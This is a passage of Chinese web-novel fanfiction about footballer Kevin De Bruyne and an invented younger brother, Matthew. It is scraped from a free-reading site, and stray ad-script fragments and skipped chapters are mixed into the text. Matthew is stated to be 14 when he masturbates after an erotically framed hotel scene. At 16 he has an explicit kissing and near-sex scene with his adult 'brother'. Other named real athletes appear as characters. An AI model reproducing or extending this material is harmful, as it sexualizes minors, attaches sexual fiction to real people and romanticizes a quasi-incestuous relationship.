“不,你不会受伤,你会输球。”马修被他问的思绪有些乱,情急之下不假思索的回道。 “你这个家伙!”这句话明显刺激了凯文,他把他从地上拎起来,一把丢在床上,一个鱼跃就压在了他身上。 在马修看来,凯文是怪他又说晦气的话,他想解释又不知该怎么说,只好投降,说:“哥哥,我错了,你不会输球,你会夺冠!” 凯文对他突然讨好似的改变说辞并不买账,抓住他的手腕压在头两侧,低垂着眉眼看他。 温存在他水蓝的眼睛中一闪而过,接着他就“袭击”了身下的人。 “小家伙,皮实了。别以为我真的不会打你屁股。”凯文对他上下其手,到处找他身上的痒痒肉,又挠又捏。 “哥……哈哈……别……”马修被他轻重不一的手劲儿弄的痒痛难耐,不由得左右躲闪。 凯文侵略的动作和粗鲁的言语让马修快要控制不住自己躁动的身体,为了掩盖尴尬他扭动身体试图反抗,挣扎中好像碰到了不该碰的地方。 马修被他压住了腿,双手被他一只手捏住举到头顶,以绝对力量被压制。 他突然看到床头上摆放的安,全T,又是一阵燥热。 他忽然想到,酒店,大床房,趴下……凯文想对自己做什么吗? 他对我做什么都行。马修忽然不再挣扎,微微喘息着,胸脯上下起伏,双手依然被他攥在手心里,只有身子微微蜷起,等待着他下一步动作。 凯文指节攥的发白,但很快就松了劲儿,转而捏捏马修的小脸,意味深长地说:“看你以后还敢不敢说我坏话。” 他只是在惩罚他说了一些不吉利的话而已,凯文放开他以后,又一个翻身,钻进了洗手间。 接着马修听到了哗哗的流水声,他又洗了个澡? 马修也平息不了,他更想冲进卫生间,他又看了一眼床头柜上那些花里胡哨的卫生用品,大脑一阵发热,伸手胡乱抓了一把纸巾伸进被子里……然后丢弃在垃圾桶里,又揉了一些报纸扔进去,最后找到一盒烟,打开点燃了一根烟。 凯文出来时,看到他在吸烟,表情讶异了一下,很快就平静下来,他走过来,把他手里的烟掐掉,扔在垃圾桶里,然后很自然地再次搂着他上床。 马修没脱衣服,一件运动衫,一条宽松的长裤,依然被他搂在怀里,听他讲最近比赛训练的趣事,还是像小时候那样,听着听着就睡着了。 * 第二天对安德莱特,没输,打平了。马修坐在看台,他亲眼见证,凯文在最后的十五分钟,用一脚超远距离的远射将比分扳平,帮助亨克力压安德莱特1分占据榜首。 “YAAAAAAAAAAAAAAAY!”马修兴奋的尖叫声融在了身后震耳欲聋的喝彩声里。 所以,没必要预支烦恼,未来会发生什么,谁也不知道,我们要做的就是去做最好的自己。 凯文进球后的庆祝,一个送向看台的飞吻,瞬间驱散了马修所有的忧虑,点燃了他心里的小太阳,也让他看到了凯文有多么的强大。 很快到了赛季尾声,紧锣密鼓的训练和比赛,主场和客场交替轮换,把兄弟俩见面的时间压缩的所剩无几。 最后一场比赛前,他们趁休息日回家聚聚,虽然比利时很小,但爸爸妈妈总是带着妹妹出差,一家人相聚在一起的时光非常珍贵,因此这个周日没有比赛,爸爸招呼他们回来开一个家庭派对,给兄弟俩加油打气。 派对很热闹,租了一个小礼堂,邀请了家族一些亲朋好友,他们都为小小年纪就在比利时闯出名堂的德布劳内两兄弟感到由衷的高兴。 凯文像个大人一样,本来他也是个19岁的大人了,举着香槟杯,面对叔叔大爷姑姑婶婶的夸奖和加油毫不谦虚的说:“我一定会夺冠的,谢谢!会给大家留票的。” 马修则是陪着妹妹到处跑到处玩,拿着纸巾追着妹妹给她擦刚抓了一把奶油蛋糕的手。 乔德布劳内在派对上发言,他代表凯文和马修感谢大家来 18.三人小聚 《[足球]异瞳者(德布劳内是我哥哥)》全本免费阅读 赛季结束,凯文又收到了国家队的征召。 凯文这次去国家队报道,离马修重生的日子越来越近了,他每天都在祈祷一切顺利,期待这一世可以陪伴哥哥一直一直走下去。 对了,他突然想起来,上次见到的阿扎尔,他也在大名单里,可以暂时替我保护哥哥吗。 凯文到了国家队,第一时间给马修打了电话。 他说:“马修,我到了,放心吧,这次我不会再受伤了。” 马修在电话那头像个初恋的小男生,高兴地不知道说什么才好,心下一想,我都28了还没谈过恋爱呢,可谁会来和14岁的小孩谈恋爱呢,最让他感到困惑的是除了哥哥,还没有人可以让他有这份激动。他不由得想起了那次在酒店里趴在哥哥腿上的经历,自己好像还有更多期待。 这时他听到电话里传来别人的声音,那是队友们在和凯文打招呼,他感到有些开心,凯文这次受到了欢迎,他是队伍中不可或缺的人物。 话筒里传来的一句话是:“凯文!好久不见!今晚聚餐吧!” 声音熟悉,好像是阿扎尔。 接着又有一个声音响起:“是啊!凯文!怎么不等我就出发了?” 说话的是同样在亨克效力的库尔图瓦。 “我从家出发的怎么等你,我打电话呢,你们先走。”凯文回应道。 聚餐,不会又要去夜店吧。马修心里一沉,不会的,国家队管得严,不会不知分寸的。但他还是嘱咐凯文,刚来报道,还是别外出了,和大伙聚聚然后早点休息。 凯文笑着拿话噎他:“还管起我来了,小马修,是不是上次没带你去酒吧,记仇呢?” “不是的,哥哥,我知道自己几岁。”马修赶紧解释。 “好啦,逗你的。”凯文怎么会不知道,他弟弟要是不踢球,就是学校里的“模范学生”,他从来都是老老实实,不敢去越雷池半步。“待会我还要给妈妈打个电话,一个月回不去,你要常回家帮妈妈照顾妹妹哦。” “嗯,我会的。”他点头应着。 “唉,马修,你总是沉闷的像个老头一样,你这个年纪应该活泼的像个猴子才对,或者干脆学学我,嚣张一点,年纪小怎么了,年纪小也能talk啊!要在队里争取话语权,明白吗?” “嗯,我明白了,哥哥。” 可能是哥哥太兴奋了,和他打电话又说了很多,马修听也听不够,真不想放下电话。 但队友们又在催哥哥了,只好先让他融入这个久违又陌生的集体。 好在他有两个好朋友在队里,不过那个他口中“听话”的守门员怎么越看越不靠谱呢,听说他在亨克旷训差点被开除,这也叫听话?还有亨克俱乐部“夜店小王子”说的难道不是他? 第一天集合,有几个远道的还没来,大家报个道就各自散了。 于是,三人小分队又重聚了。 阿扎尔先是神神秘秘地敲开凯文的房门,一进门就搂着他的脖子亲密的好像兄弟俩。 “你终于又来布鲁塞尔了!”阿扎尔眼睛雪亮,拍了拍凯文的胸脯。 “呵,意料之外?” “怎么会,像你这样的天才国家队不早点把你要来,是他们的损失。” 凯文扯扯嘴角,面对阿扎尔的职业吹捧表示暂且接受,笑着问他:“还是你厉害,10号没跑了吧!” “那当然,不给我10号,我都不来。” 两人刚要笑,就听见门口传来一句杀伤力极强的话:“你可别吹牛了!” 库尔图瓦倚在门框上,一双深陷的眼睛不怀好意的盯着他俩,然后慢慢走进来,对阿扎尔说:“嘿,好久不见,你还是一点没变,要是这次在国家队不进球,我都要重新认识你了,阿扎尔。” “这个你放心,凯文会助攻我的。”阿扎尔笑笑,又搂了一把凯文。 库尔图瓦也伸手去拽凯文的胳膊,表现的更为亲密,“我们凯文的远射在亨克可是出了名的,你要是不进,凯文也会进的。” “好了,你俩少拿我说事。”凯文把胳膊收回来,拿眼睛斜了库尔图瓦一眼,说:“蒂博,难道就只是在亨克吗?” 库尔图瓦接着捂住了嘴巴,连连低头认错:“不,不,是全比利时,噢凯文,你可别染上自负的坏毛病,和某个人一样。” “哈哈哈…”他们笑的很亲密。 接着库尔图瓦就又拉起了凯文的胳膊,叫他陪他出去喝两杯,凯文本想说不去,但阿扎尔也跟了上来,对库尔图瓦说,“是我先邀请凯文的。” “好吧,那就一起吧。”凯文一点也不觉得三个人的友谊有一点拥挤。 等他们到了酒吧,凯文才知道,原来还有一个人在这里等着。 这个人正是一年前在圣詹姆斯学院学习时,酒吧里奇遇到的那个女明星——珍妮特·莫里斯。 她依然是一头金棕色的长卷发,压的很翘的厚实睫毛和永远不掉色的鲜艳红唇。她坐在卡座的一边,手里摇晃着杯中好看的烈酒,向男士们展示她凹凸有致的身材。 凯文看到她朝这边招手微微愣了一下,转而对阿扎尔说:“你朋友?” 阿扎尔也愣住了,微微思考了一下,说:“啊,凑巧了吧!” “不不不。”库尔图瓦拉着他们过来,然后煞有介事的介绍道:“是我邀请珍妮特?莫里斯小姐来的。” “你们好!又见面了!”这个令人过目不忘的美女再次把目光落在了凯文的脸上,并把娇贵的手递了过去。 “你好!”凯文出于礼貌轻轻搭了一下她的手,随即收回双手插兜,有些冷漠的坐在了一边。 他们俩一左一右坐在了美女旁边。 上次见面后,库尔图瓦悄悄收起了那张名片,和莫里斯小姐加上了好友,几次来布鲁塞尔约她见面她都没来,这次又来到布鲁塞尔,说带着国家队的两个好朋友来,而且都见过,莫里斯小姐一口就答应来了,库尔图瓦决定要抓住这个机会在他好朋友面前狠狠炫耀一把。看!我约到了女明星! 阿扎尔一眼就看出库尔图瓦的小心思,也看出来莫里斯小姐实际上心仪的人是凯文,而自己就是一个不存在的小透明。 但他就不想让库尔图瓦春风得意,自己没被入眼,别人也休想,但凯文这个木头,天天助攻别人,也让我助攻他一把,就当他兑现诺言来国家队和我相聚的小礼物吧。 他在想如何推波助澜,这时却被美女打断。 “先生们,这里人多眼杂,我们还是去包厢吧。”他抬手指了指楼上拉着帘子的雅座。 “好啊。”库尔图瓦答应着,表示赞同。 这两个人也没什么理由反对,毕竟都有了咖位,被拍到国家队第一天报到就出来喝酒也是不太好。 乐队已经就位,一楼马上就要跳舞了,确定不跳个舞再上去?阿扎尔刚想到一个好主意,就是撮合凯文和莫里斯跳一支舞。 他看了一眼凯文,又摇了摇头,算了,他肯 19.看哥哥比赛 《[足球]异瞳者(德布劳内是我哥哥)》全本免费阅读 这次集训是为了准备欧洲杯预选赛,他们必须为国家队赢得参赛资格。 带着雄心壮志的小伙子们决心要大干一场,他们谁也不服谁,但来到这支队伍不仅要各显神通还要完美的捏合在一起,到底谁才是那个核心组织者? 教练威尔莫茨把他们集合起来,眼神在他们稚嫩的脸上一一扫过,是一帮心气很高的小伙子没错了,他们将要用实力来托起比利时的未来! 他很快把目光锁在了凯文的脸上,他的样子还是和去年一样,炸着一头金毛,雪白的脸上还有几颗青春痘,只是婴儿肥不见了踪影,棱角更加分明,线条更加硬朗。威尔莫茨在心里嘀咕着,希望他这次可以更成熟一些,不要太顽固了。 还没等威尔莫茨单独找他,他已经在队里挑起了大梁。他依然喊的他们晕头转向并频频投来“what?”的目光。他还是个新人没错吧?前锋们包括来了有些年头的阿扎尔都对这个时隔一年第二次被征召的“新人”感到莫名其妙。 一次训练后,阿扎尔趁补水的时候,拉着凯文的胳膊有一搭无一搭的和他说起这件事:“凯文,你没发现队伍中气氛有点怪吗?” “怎么了?” “不知道听谁的好了。你看队长文森特,他在后面坐镇指挥,中场德莱斯也在左右调度,前锋们都在要球,连库尔图瓦也在指挥站位,你呢?” “我?我在到处找你啊,埃登。” “哈哈,谢谢你兄弟,你不仅快把我喊聋了,还有詹、克里斯,罗梅卢都快被你喊懵了。” “啊?有吗?”凯文挠挠头,一直不就是这样踢吗,有什么问题,他觉得自己指挥的没错,前锋就该跑起来,即使不给你传,你也要跑,既要常规跑位也要伺机而动,那我喊:跑啊,埃登,不要站着,罗梅卢,接应啊,克里斯,有什么错? 这天训练后,凯文有些闷闷不乐,他和库尔图瓦在餐厅聊到这个话题。 他说:“蒂博,你觉得我话多吗?” “啊?”库尔图瓦差点喷饭,“凯文,你话多?我就没听见你说过几句话。” “那可能你离得远。”凯文喃喃自语。 “唉,我跟你说,上次莫里斯小姐一声不响的走了,我还以为她生气了,结果你猜怎么招?”库尔图瓦饶有兴致的开始聊他喜欢的话题。 凯文抬头看了他一眼,没搭腔,他又自顾自地说起来。 “她主动给我发信息,邀请我去参加她的电影首映礼!” “哦,那很好,恭喜你。” “就这?” “恭喜你!”凯文嘴角扯出一个看似无比真诚的笑容。 “哈哈!我也会赠她对阵荷兰的门票的,凯文,到时候一定要赢啊!” 对凯文说一定要赢的人可太多了,等来等去,也没等到那个小家伙亲口对自己说一定要赢这样的话。凯文知道自己在语言方面可能有些直白和木讷,可这个小家伙一脸的聪明相,怎么不知道主动点呢。 直到马上开赛了,也没等到马修的电话,这让一向很少主动打电话的凯文有些生气,看着根特官网里他和队友在训练中打打闹闹的,又是一肚子火。 训练还没结束,凯文就跑到一边从球包里拿出手机,决定打电话批评批评这个大赛前不关心他的“亲弟弟”。 打了几个都没打通,怎么回事?直到比赛前一天,他结束了一天的训练,回到宿舍刚洗完澡,看到手机屏幕亮了亮,有一个未接来电,他心想:还挺能沉得住气。 打开一看,是一串陌生的号码,心里又有些泄气,但还是抱着试试看的想法拨了回去。 那边接起来一听是他,尖叫着冲进哗哗的流水声里,凯文就听见噼里啪啦一阵响声,想说:慢点,胡尔克,不着急。 马修正在洗澡,突然被胡尔克一把推开浴室的门,把手机举到自己脸前,喊着:“凯文,哦不,德布劳内先生,找你!”马修知道他口中的德布劳内先生是凯文,绝对不是自己。 马修赶紧扯下浴巾把自己围住,双手在腰间的浴巾上搓了搓,一边接过来一边说:“可别再把你的手机弄湿了。” “嗨,哥哥!抱歉!我在洗澡。”马修赶紧对着电话说道,他知道哥哥回拨陌生号码一定是怪他这两天没动静,而明天就要对阵荷兰,还没给哥哥加油呢。 “洗澡?”凯文莫名其妙又窜上一股无名火,心里想着怎么胡尔克也在,还闯进浴室,这孩子不知道锁门吗! “穿上衣服!”凯文冷冷的命令道。 “噢,好。”马修轻轻把手机放在洗手台上,打开了扬声器,然后开始往头上套衣服,腿上套短裤。 窸窸窣窣的声音通过手机传到了凯文的耳朵里,吵的他耳朵有点痒。 “哥哥,我穿好了。”马修重新拿起手机。 “你为什么和胡尔克住一起?” “我们来安特卫普踢友谊赛了,住在酒店里。” “噢,明天买票来布鲁塞尔。” “好。” “除了回答我的话就没有别的了?” “有,祝你明天大获全胜!”马修底气十足地说。 “就没有要嘱咐我的?比如小心点,比如落后不要紧之类的?” “啊,没有。哥哥,你会赢的!” 凯文压下嘴角的笑容,想夸他一句嘴巴学懂事了,稍微迟疑了一下却被他打断。 “哥哥,可以多留一张票吗?” 马修看着站在他对面对他挤眉弄眼比比划划的胡尔克,就知道这小子想干嘛,于是想替他好朋友也争取一张票。 “有点……” 胡尔克瞪大眼睛期待着。 “行吧,来吧!” “噢!!!”电话里又传来了胡尔克的尖叫声。 “哈哈……”马修笑了,他说:“哥哥,你真好!我可真幸运有你这样的哥哥。” “少说好听的!”凯文把刚才要夸他嘴巴懂事的话咽了回去,故作严肃地怼他一句,心里却笑成一朵花。 可第二天的比赛,凯文打替补,他看到马修和胡尔克在家属区的位置上冲他热情的招手,心里就感到有些焦虑,脸色也不太好看,一屁股坐到了椅子上。 “我们不强调任何理由。”教练威尔莫茨坚定地告诉首发,“大家都有顶级水平的天赋,去证明自己吧。” 他们的邻居荷兰可不是吃素的,比赛进行到第56分钟,比利时还1-2落后于荷兰。 这时,威尔莫茨向替补席挥了挥手,示意凯文和另外两个队友热身。 凯文站起来,快速脱了外套,穿上替补出场的标志衫,跨出替补席之前迅速回头看向马修的方向,马修和胡尔克冒着星星眼向他投来无比期待的目光,他一时不知该做什么表情,就生生挤了一个wink抛过去。 这可是大赛,而且对手是荷兰,现场坐满了5万球迷,橙色和红色交织在一起,让人一时分不清主客场,但凯文很冷静,他带着教练的嘱托,一上场就发挥了重要且致命的作用,他助攻埃登抢点并得分,2-2. “太棒了!”凯文欢呼,跑过去给了阿扎尔一个大大的拥抱。 马修和胡尔克像两只小鸟一样欢呼雀跃差点就地飞出场外去,然后两人也紧紧拥抱在一起。 胡尔克大声叫着:“以后,我也要成为德布劳内那样的人!” 马修用力拍拍他的后背,兴奋地说:“那我就要成为阿扎尔那样的人。” “哈哈……”胡尔克捂着肚子笑,我要成为德布劳内,德布劳内想成为阿扎尔,真是奇奇怪怪的笑点。

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 你不记得了?” “什么???”马修被她说的直接懵住了,自己什么时候在她家住了?这不是睁着眼睛说瞎话吗? 这时,妈妈走进来拉过琳达的手,责怪马修:“马修,对女孩子好一点。” 马修努力想那天晚上发生了什么事,他从厕所出来脑子嗡嗡的响,嗓子也紧的要命,连呼吸都困难,他都不知道自己是怎么上的车。 他只记得第二天醒来是在俱乐部的宿舍里。 可琳达为什么说在她家住了一宿?她还能给自己下药了不成? 他带着满脑子的疑问,不敢轻而易举的说什么做什么,只好先这样对付着。 很快,国家队召集令下来了,欧洲杯小组赛开始了,他们要去波兰踢几场比赛,凯文从德国回来进了一线队,马修第一次被征召进了二线队,这天他们在布鲁塞尔集合,准备出发去波兰。 三个月没见凯文了。这次见面,马修全然变了,哥哥也变了。 他说我没主见,是怪我不主动吗? 马修在见到哥哥时,冲过去一把抱住哥哥的脖子,向上一跃,两条腿一分就卡在哥哥的胯上,来了一个上树欢迎礼。 凯文的球包都掉在地上,队友们在酒店大厅里纷纷侧目,随后哈哈大笑,七嘴八舌的说:“兄弟情深啊!这得多久没见了!” “看看人家!兄弟俩都进国家队了!羡慕吧?” “埃登,这小家伙好像比你高了,这个赛季进了10来个球了吧,你该有危机感了。”说话的人是库尔图瓦。 阿扎尔没给他好脸色,说:“高又能怎样?分了一个又一个,哈哈哈…”他指的是库尔图瓦没追上莫里斯,又交了几个女朋友,接连被甩。 “切,我那是要走了,懒得经营。” 库尔图瓦赛季后被切尔西租借到马竞,踢完欧洲杯就准备去西班牙了。 凯文被马修整这么一出着实感到有些意外,他以为这次见面会是打不开僵局,顶多搪塞几句敷衍了事,毕竟自己没理他的这段时间,他也没理自己,反而在如胶似漆的谈恋爱。 自己过后有些后悔对他做那种事,但现在突然不后悔了,那只是满足他的畸恋而已。他不再依赖自己了,也不再仰慕自己了,他有了正常的生活,这不就是我想要的结果吗? 果然,马修毫无负担的又在他脸上亲了一大口,说:“哥哥,这么久不联系,是真的不要马修了吗?” “我这么忙,哪有空管你。” “骗人,哥哥,你说过会盯着我一举一动的,怎么,有了女朋友就对弟弟不关心了?”马修捡起凯文掉在地上的球包,连同自己的球包一并背在肩上,又贴在他面上小声说:“就算没有血缘关系,也有十几年的情分,哥哥你不觉得自己很过分吗?” 凯文无言以对,伸手扯过球包背在肩上,带着几分刻薄的语气命令他:“回你的二队去!” “我这就走,你们一队的房间在南面,祝你睡个好觉!” 几个月不见,马修突然变得开朗又乐观,他挑着眉毛,似笑非笑的歪着头看着凯文的脸,好像什么事都没发生过。 就在他背着球包刚要转身去和二队的队友集合时,凯文又叫住了他。 “马修,晚上10点,来我房间。” 26.分不开 马修闻言一怔,本来想着自己也可以坦然面对,装的好像什么事都没发生一样,结果被他一声命令又震的浑身发麻。 他没有回头,三步并作两步奔入了二队的队伍里。二队几乎都是小孩哥,那他也是年龄最小的,16岁就被国家队纳入编制的后备力量,在全世界也是少有的。这说明他这个赛季在根特踢得像模像样,从板凳到替补,从替补10分钟到20分钟,并且这个赛季打进了10个球,成为根特年龄最小的进球记录保持者。 二队和一队几乎被物理隔离,连吃饭都分区域,今年新人多,为了避免二队的小孩过于兴奋打扰到一队的球星们休息。 但马修是个例外,他哥哥就在一队,而且他早就在国家队的更衣室里混了个脸熟,被这群球星大哥们也当成弟弟来“照顾”,左一把右一把的拉着他到一队的区域去吃饭。 当然,他们想听八卦多一些。这个桌围坐了6个人,队长孔帕尼,库尔图瓦,阿扎尔,卢卡库,凯文和马修。 凯文比较喜欢安静地吃饭,但他们把马修拉过来,就让他这顿饭吃不消听了。 库尔图瓦给孔帕尼介绍说:“凯文的弟弟,马修,你见过吧,别看他人小,本事不小。” 几个人看向库尔图瓦,以为会从他嘴里听见夸别人踢球好之类的,只有阿扎尔了解他,还没等他说完,阿扎尔就接下了话茬。 “本事比你大多了吧,哈哈!” “本事比他哥哥大,一夜定情。” 要不是这个定字,马修就得当场把饭喷出来,他还真的在说自己的八卦。 凯文没理他们,低头吃着盘子里的柠檬煎鱼片,吃了一口就酸的皱紧了眉头。 “没有,哥哥也有女朋友的。”马修不觉得这件事有什么好炫耀的,他甚至都不想提,他那个“女朋友”实在是存在感太强了,在马修刚被征召的时候,她就第一时间通过个人社媒祝贺了自己的小男友。 “啊?他啥时候有女朋友了?”库尔图瓦表示震惊。 “凯文,你在德国交女朋友了?” 凯文抬头看了他一眼,嗯了一声,不愿多说。 “我说,蒂博,你这情场老手也有失意的时候,这一桌就你还单着吧。”阿扎尔也开始炫耀新恋情,他知道没有什么别的话题能镇压住这个尾巴老是翘得很高的大孔雀守门员。 他不光是爱开屏,他还特爱嫉妒,他不嫉妒别人,就盯着凯文不放。他追问凯文:“你女友做什么的?叫什么名字?太不够哥们意思了,为什么只有我不知道。” 一桌人哈哈大笑。其实卢卡库和孔帕尼也是刚知道,但他们觉得库尔图瓦的反应很搞笑,似乎在和凯文较什么劲。 阿扎尔看得出,上次莫里斯把库尔图瓦打击的不轻,因为凯文离开以后,莫里斯当着他的面,对库尔图瓦说:“我是来看凯文比赛的,不要自作多情。” 凯文被他问的很烦,又不好不理他,于是简短的说了句:“可儿,模特。” “噢——!!!”这么轻描淡写的一句回应引的这一桌人大嗓门地起哄,好像听到了什么了不得的消息。搞得库尔图瓦都呆住了,怎么没人关心我单身or不单身呢,凯文真的是,无论在哪都是中心。 马修和凯文一样,这顿饭吃的有点噎得慌。他竟然开始期待起来,晚上10点,他叫我去他房间要说什么。 但心里想归想,他还是有些害怕,凯文会对他说一些他接受不了的东西,比如以后各走各的,以后不要再烦我之类的,毕竟上次他说不喜欢没有主见的人,还说就当自己没有来过。 三个月,没有任何联系,这次再见面,都是有女朋友的人,看来他们之间要各走各的路了。 这时候,库尔图瓦把手机举到凯文脸前,好奇的询问他,“凯文,是不是她?” 他从网上搜到了这个德国叫做可儿的模特照片,在跟凯文确认。 这照片马修见过,就是凯文发在家庭群里的那张,黑色吊带,牛仔裤,在一家便利店门口低着头看手机的金发女孩。 马修侧过头去看凯文的脸,发现他脸上的肌肉不经意的抖了一下,赶紧把库尔图瓦的手机推开,胡乱应付了一声。 这个有些抗拒的表情让马修有些纳闷儿,他偷偷地在手机上搜了这个名字,发现这张照片是个平面广告,根本不是私照。 他好像明白了什么,凯文大概率是随便从网上找了个“女友”来搪塞什么东西。想到这,马修心里突然明亮了起来,差点乐出声。但一想到晚上要去他房间,就又乐不出来了,凯文一定是要跟自己义正言辞的说现在都是有女友的人,不要再对他有什么想法之类的。 哥哥的话他从来不敢不听,晚上10点,他准时出现在他房间门口。他敲了敲门,里面应了一声,接着门被打开,凯文一头湿发,脖子上搭着一条毛巾,眼睛红红的站在门口,看样子是刚洗完澡。 凯文把他让进来,关上门,回到床边坐下,好像例行问话般问他:“最近回家了?” “没,一个月没回去了,赛季末有些紧张,这次也是直接从根特过来的。” “噢,你女朋友会替你回家看看的对吧?” “什么女朋友?” “装傻呢?”凯文盯着他的脸,一丝拷问的意味浮上嘴角。 “你说琳达吗?她自认为是我女友,我摆脱不掉。” “摆脱不掉?你有把柄在她手里?” “这个……”马修被他问住了,自己不知道有没有把柄落在她手上,总之她在妈妈面前那么说了,如果真的和她过夜了,总不能赖账吧。 “那天晚上回去发生了什么?” “我不知道。” “你不知道?” “我真的不知道。” 凯文站起来,把他从沙发上提起来,拉到自己脸前,一字一句地质问他:“你是不是和她上床了!” “我…我没有!我那天,说真的,我失忆了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' !” “你失忆了?” “对!我酒精过敏,那晚上可能已经又死了一次,我不知道,当我醒来的时候是在根特的宿舍里,可…可琳达却说…” “够了!我不想听!”凯文松开手,稍微一用力就把他重新扔在了沙发上。 “哥…” “对不起。”凯文双手掩面坐在床上,像一只受伤的刺猬,把自己窝了起来,不一会,他肩膀就开始微微的颤抖,他在哭。 马修吓坏了,他从未见过哥哥这么脆弱,竟然在他面前哭了。 马修大着胆子走过去在他身边坐下,抬起双臂环住了他的肩膀,把自己毛茸茸的脑袋贴上去,顶在他的额角上。 温暖的气息再次在两人之间升起,如果不是心里有了隔阂,这份温暖很快就会燃烧起来,然后泛滥成灾,直到烧毁一张床单。 他们这么久没见,也没有任何联系,马修的气息逼近,竟让凯文有了一种被热浪侵袭的困扰。 很快他就支开了他,表情恢复了严肃,他说:“不管怎样,现在这样很好,我叫你来,就是想对你说,请原谅我的一时冲动。” “哥…”马修摇摇头,心想哥哥怎么会是一时冲动呢,这么多年,自己可以感应到,他等了自己这么多年了,他发现自己对他有依恋的时候该是多么高兴,他对自己做着彼此都渴望的事,怎么能是一时冲动呢?他把他推开才是一时冲动。 “好了,我已经道歉了,怎么消化那是你的事了,你回去吧,我不想在小组赛前分心,以后知道怎么做了吧?” 马修知道哥哥道歉是一件很罕见的事,从小到大,他做什么都是对的,他总是有一种他什么都知道,别人都跟不上他思维的一种优越感,这和他穿越没多大关系,他就是这样一个很自我很有主见的人。 和他相比,自己总显得唯唯诺诺,吞吞吐吐,什么都听他的像他的小跟班一样,可一直以来都是这样的,有什么不好? 看来是不好,哥哥厌倦了没有主见的自己,马修脑子里忽然闪过一个大胆的念头,为什么要让彼此痛苦?别想!狂做! “哥哥,你真的不想睡我吗?” 马修红着脸再次靠近他,爬上他的床,有意无意的蹭着他的肩膀,带着一丝go ing的意味。 凯文先是一愣,思想是尽快推开他,但身体却像大海回答河流一样,一股脑的承受下来,接着难以抑制的伸出双手紧紧地把他抱住。 屋里的空调吹着冷风,但两个人的体温却在持续升高,随着他们一起倒在床上,一种难以压抑的情绪在他们眼底翻涌,好像簇拥着烈日,不一会就渗出了汗。 额头,鼻尖,手心里全是汗。忐忑不安的繁华在他们之间肆意迸发,两人心照不宣的达成不用这么复杂的交易,男人之间的火花一瞬间就被点燃,没什么亏欠不亏欠,一个愿打一个愿挨的关系,还不说做就做。 凯文的身子沉沉压下来,张嘴就咬住了他的嘴唇。 27.一队二队 凯文粗鲁的咬了他半天,快把他嘴唇咬破,但他不躲反迎,又被凯文嘬住了舌尖,给他一种不想珍惜他要把他毁坏的感觉。 “该死,真想把你嘴巴亲烂!” “嗯,亲!”马修微微张开口放他的舌头进来攻略自己,却像放进来了一条粗长的蛇,直接压住他的舌根,堵住了他的呼吸,把他搅的快要窒息,这种粗暴的亲吻毫无技巧可言,一次次冲击着他的大脑让他感到阵阵眩晕,眼睛很快就溢出了泪水。 马修知道这次不是生理性泪水,就是他把自己亲哭了。 他的勇敢一直保护着我,像温柔野兽,在这种事情上也是,他选择放纵比揪着过错要好得多,人生不过几十年,既然同时重生,就是为彼此而生,为什么不抛开一切杂念,为彼此而活下去? 马修希望哥哥继续不要停,不要有什么顾虑,还有谁可以比得上他们这层关系,相遇已是幸运,还可以一起长大,他们注定要在一起,在一起维护这一尘不染的关系。 暴风雨般的亲吻过后,他们在床上呢喃细语,凯文修长白皙的手指拨开马修额前的碎发,看着他瑰丽如宝石一般的眼睛,再次低头去吻他,这次显然温柔了许多。 “我是一个坏哥哥,对吧?”凯文捏了捏他的脸。 “哥哥不坏,是我坏,我贪心。”马修的眼神释放出迷惑人心的讯号,好像一只讨食的小猫,可以轻松获得人类的怜悯。 他眨巴眨巴眼睛,看着凯文说:“我不想错过你,也不想你把我让给别人。”马修双手搂着凯文的脖子,好似撒娇的语气说着。 难道互相隐藏,就能掩饰渴望了吗? “哥,别放手,我怕你放手了,半夜醒来会难过的睡不着。” “你!”凯文觉得一切都失控了,他不喜欢被人一眼看穿的感觉。 “是我小看了你,你在和我偷忄青吗?” “哥,我喜欢你,光明正大的喜欢你,我没有女朋友,你也没有!” “!!”凯文听了表情一僵,这家伙怎么知道自己没女朋友的,他已经过了重生日了,接下来会发生什么他就不知道了,难道他有读心术不成? 凯文躺着,单手把马修揽在身上,马修压住他半边身子,腿和他的腿交叠在一起,呼吸渐渐和他融为一体。 马修想时间就这样静止,他喜欢被哥哥捞在怀里,就像小时候和他挤在一张床上睡觉,安稳的让人想哭。 凯文亲完了他以后,想进一步动作,可总觉得不自在,有一种不在状态的感觉,还有一种老不要脸的感觉。 他讨厌计划之外的事情,本来想给马修道个歉,然后哄他去好好训练,争取在国家队能有所表现,现在竟然失控了,他再次陷入了马修这双皓如星辰的眼睛里。 正当他不知所措的时候,马修伸手抓住了他的裤腰。 “哥,让我帮你。” “别动!”凯文握住他的手腕,低声警告他,接着翻身把他压在身下。 这个角度才是他最爱的角度,他稍微侧一侧脸,就可以和他严丝合缝的对上嘴,鼻梁错开,唇瓣交叠覆盖,脸上的绒毛都贴在一起。 凯文想现在就要了他,叫他不知检点,主动送上门来,还敢跃跃欲试往自己身上挂,一会免不了让他哭出声来。 正当凯文决定要占有他时,门铃响了。 “谁啊?”凯文压着他手腕,对门口漫不经心的喊了一声。 “凯文!我!”门口传来库尔图瓦的声音。 “睡了,干嘛?”凯文突然起了一丝玩味,他一边应付着门口的不速之客,一边用力捏着弹性十足的胴体。 他手劲儿大的吓人,重生之后他竟然发现自己有种怪力,好像可以轻松提起比自己两倍沉的重物,脚下力量就更不用说了,中圈世界波把亨克的门将吓个半死,只是准度不太够,加上他追求配合和技巧,很少打这样离奇的射门,但弧顶的位置他很喜欢,抽的又准又狠,让人毫无办法。 眼下这手劲控制不好,一分心把小家伙捏疼了。马修双手抱住自己,咬着下嘴唇,惨戚戚的看着他,眼泪已经沾湿了床单。 凯文心一软就放开了他,又被敲门声吵得心烦意乱,无奈起来开门。 凯文倚在门边,头发都炸毛了,阴沉沉的看着这个烦人的家伙。 库尔图瓦手支在门框上,脸色通红,看起来喝了不少酒,他说:“凯,凯文,你这不是还没睡吗,陪我去顶楼空中花园喝一杯吧,嗝儿。” “几点了?还喝!明天训练,你少不了挨骂。” “不会的,就一杯!” 库尔图瓦拉着凯文胳膊要他陪他,马修知道哥哥不想去,他也不想哥哥去,于是走到门口,跟库尔图瓦打了个招呼。 “嗨!库尔图瓦先生。” “噢,你也在呀。正好,一起!” 马修还不如不出来,因为库尔图瓦拉不动凯文,拉他可是轻而易举,他大长胳膊一圈就把他圈的脚尖都要离地了。 